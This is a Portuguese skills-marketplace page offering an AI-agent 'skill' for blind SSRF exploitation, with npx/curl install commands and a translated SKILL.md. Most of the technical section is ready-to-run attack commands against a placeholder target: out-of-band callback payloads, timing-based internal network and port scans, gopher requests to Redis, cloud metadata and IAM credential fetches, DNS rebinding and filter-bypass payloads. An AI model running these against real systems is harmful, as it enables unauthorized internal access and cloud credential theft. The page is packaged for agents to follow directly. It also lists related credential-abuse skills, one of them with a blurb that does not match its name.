performing-blind-ssrf-exploitation
Ajuda seu agente a encontrar falhas de segurança 'cegas' em sites. Ele descobre se o site está enviando informações para locais inesperados.
O que ela faz
Esta ferramenta ajuda a encontrar e explorar falhas de segurança chamadas 'Blind SSRF'. Ela permite que um invasor faça com que um servidor acesse recursos internos ou na nuvem, mesmo que o servidor não mostre a resposta diretamente.
Quando usar
- ✓Ao testar campos de formulário que aceitam URLs.
- ✓Ao verificar funcionalidades que importam ou processam dados de links.
- ✓Ao investigar sistemas que geram PDFs ou processam imagens a partir de URLs.
Exemplo do que pedir para a IA
“Tente encontrar uma falha SSRF cega no parâmetro 'url' desta página.”
Quer saber mais? Abra as seções abaixo.
Como usar
O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.
Link da skill
Mensagem pronta para colar
Como funciona
Ela funciona enviando URLs especiais para o servidor alvo e observando se ele tenta se conectar a um servidor controlado pelo atacante. Isso é feito usando técnicas como DNS e requisições HTTP para detectar a comunicação.
Instalação
Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.
No terminal (Claude Code, Codex, Cursor), na pasta do projeto:
npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill performing-blind-ssrf-exploitationOu baixe só o arquivo:
curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/performing-blind-ssrf-exploitation/SKILL.md -o SKILL.mdConteúdo técnico (SKILL.md)
Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.
Realizando Exploração de SSRF Cego
Quando Usar
- Ao testar parâmetros de entrada de URL/webhook onde as respostas do lado do servidor não são refletidas
- Durante a avaliação de aplicações que buscam recursos externos (avatares, pré-visualizações, importações)
- Ao testar geradores de PDF, processadores de imagem ou conversores de documentos para SSRF
- Durante avaliações de segurança em nuvem para detectar acesso a endpoints de metadados
- Ao avaliar a funcionalidade de webhook e implementações de validação de URL
Pré-requisitos
- Burp Suite Professional com Burp Collaborator para detecção OOB
- interact.sh ou webhook.site para monitoramento de callback externo
- Compreensão de vetores de ataque SSRF e enumeração de rede interna
- Conhecimento de endpoints de metadados em nuvem (AWS, GCP, Azure)
- VPS ou servidor controlado para tratamento avançado de callback de exploração
- Python com a biblioteca requests para scripts de automação
Fluxo de Trabalho
Passo 1 — Identificar Pontos de Entrada de SSRF Cego
# Common SSRF-susceptible parameters:
# url=, uri=, path=, dest=, redirect=, src=, source=
# link=, imageURL=, callback=, webhook=, feed=, import=
# Test URL fetch functionality
curl -X POST http://target.com/api/fetch-url \
-H "Content-Type: application/json" \
-d '{"url": "http://BURP-COLLABORATOR-SUBDOMAIN.oastify.com"}'
# Test webhook configuration
curl -X POST http://target.com/api/webhooks \
-H "Authorization: Bearer TOKEN" \
-H "Content-Type: application/json" \
-d '{"callback_url": "http://COLLABORATOR.oastify.com/webhook"}'
# Test image/avatar URL
curl -X POST http://target.com/api/profile/avatar \
-H "Authorization: Bearer TOKEN" \
-H "Content-Type: application/json" \
-d '{"avatar_url": "http://COLLABORATOR.oastify.com/avatar.png"}'
# Test document import
curl -X POST http://target.com/api/import \
-H "Content-Type: application/json" \
-d '{"import_url": "http://COLLABORATOR.oastify.com/data.csv"}'
Passo 2 — Confirmar SSRF Cego com Detecção Out-of-Band
# Use Burp Collaborator for DNS + HTTP callbacks
# Generate collaborator payload: xxxxxx.oastify.com
# DNS-based detection (works even with HTTP blocked)
curl -X POST http://target.com/api/fetch \
-d '{"url": "http://dns-only-test.COLLABORATOR.oastify.com"}'
# Check Collaborator for DNS lookups
# HTTP-based detection
curl -X POST http://target.com/api/fetch \
-d '{"url": "http://http-test.COLLABORATOR.oastify.com"}'
# Check for HTTP requests in Collaborator
# interact.sh alternative
curl -X POST http://target.com/api/fetch \
-d '{"url": "http://RANDOM.interact.sh"}'
# Monitor interact.sh dashboard for interactions
Passo 3 — Enumerar Rede Interna
# Scan internal IP ranges via blind SSRF
# Use timing differences to determine if hosts are alive
# Scan common internal ranges
for ip in 10.0.0.{1..10} 172.16.0.{1..10} 192.168.1.{1..10}; do
start=$(date +%s%N)
curl -X POST http://target.com/api/fetch -d "{\"url\": \"http://$ip/\"}" -s -o /dev/null --max-time 5
end=$(date +%s%N)
elapsed=$(( (end - start) / 1000000 ))
echo "$ip: ${elapsed}ms"
done
# Port scanning via blind SSRF
for port in 80 443 8080 8443 3000 5000 6379 27017 5432 3306 9200; do
curl -X POST http://target.com/api/fetch \
-d "{\"url\": \"http://127.0.0.1:$port/\"}" -s -o /dev/null -w "%{time_total}\n"
echo "Port $port tested"
done
# Use gopher:// for more advanced internal service interaction
curl -X POST http://target.com/api/fetch \
-d '{"url": "gopher://127.0.0.1:6379/_INFO"}'
Passo 4 — Acessar Endpoints de Metadados em Nuvem
# AWS metadata (IMDSv1)
curl -X POST http://target.com/api/fetch \
-d '{"url": "http://169.254.169.254/latest/meta-data/"}'
# AWS IAM credentials
curl -X POST http://target.com/api/fetch \
-d '{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}'
# GCP metadata
curl -X POST http://target.com/api/fetch \
-d '{"url": "http://metadata.google.internal/computeMetadata/v1/"}'
# Azure metadata
curl -X POST http://target.com/api/fetch \
-d '{"url": "http://169.254.169.254/metadata/instance?api-version=2021-02-01"}'
# DNS rebinding for metadata access (bypass IP blocking)
# Use services like rebinder.net to create DNS rebinding domains
curl -X POST http://target.com/api/fetch \
-d '{"url": "http://A.169.254.169.254.1time.YOUR-REBIND-DOMAIN.com/"}'
Passo 5 — Contornar Filtros de SSRF
# Contorno de representação de IP
curl -X POST http://target.com/api/fetch -d '{"url": "http://0x7f000001/"}' # Hex
…
Perguntas frequentes
O que é 'Blind SSRF'?
É uma falha onde o servidor faz uma requisição para um link que você fornece, mas não mostra o resultado dessa requisição diretamente para você. O atacante precisa de métodos indiretos para saber se a requisição funcionou.
O que é 'Burp Collaborator'?
É uma ferramenta que ajuda a detectar essas requisições. Ela cria um endereço único que o servidor alvo pode tentar acessar, e o Burp Collaborator avisa o atacante quando isso acontece.
Para que servem os comandos `curl`?
São exemplos de como usar ferramentas de linha de comando para enviar as requisições de teste para o servidor alvo e verificar as respostas.
Detalhes
Descrição original do autor
Detect and exploit blind Server-Side Request Forgery (SSRF) using out-of-band techniques such as Burp Collaborator DNS interactions and timing analysis, to reach internal services and cloud metadata endpoints even when server responses are not reflected. Use when testing URL/webhook parameters, PDF generators, image processors, or import/preview features where SSRF output cannot be observed direct
Popularidade
- Estrelas no GitHub
- 35 mil
- Posição no ranking
- #6031
- Licença
- Apache-2.0
- Atualizada em
- 31/08/2026
Comentários
- …
Mais skills deste repositório
abusing-dpapi-for-credential-access
Dá ao seu agente de IA instruções prontas para uma tarefa específica, para ele fazer melhor e mais rápido.
mukul975/Anthropic-Cybersecurity-Skills
abusing-shadow-credentials-for-privesc
Ensina seu agente de IA a escrever textos claros e bem estruturados.
mukul975/Anthropic-Cybersecurity-Skills
achieving-cmmc-level-2-compliance
Ajuda seu agente a preparar um ambiente para conformidade com CMMC Nível 2. Ele implementa requisitos de segurança e gerencia a documentação necessária.
mukul975/Anthropic-Cybersecurity-Skills
acquiring-disk-image-with-dd-and-dcfldd
Ajuda seu agente a criar cópias exatas de discos rígidos. Isso é útil para garantir que nenhuma informação seja perdida ou alterada durante investigações.
mukul975/Anthropic-Cybersecurity-Skills
Skills parecidas
django-security
Ajuda seu agente a implementar práticas de segurança em aplicações Django. Ele foca em autenticação, autorização e prevenção contra ataques comuns, garantindo um código mais seguro.
affaan-m/ECC
laravel-security
Ajuda seu agente a proteger aplicações Laravel contra ameaças. Implementa práticas de segurança para autenticação, autorização e prevenção de ataques comuns.
affaan-m/ECC
module-regression
Ajuda seu agente a gerenciar mudanças em projetos grandes. Garante que alterações em uma parte do código não quebrem outras partes.
affaan-m/ECC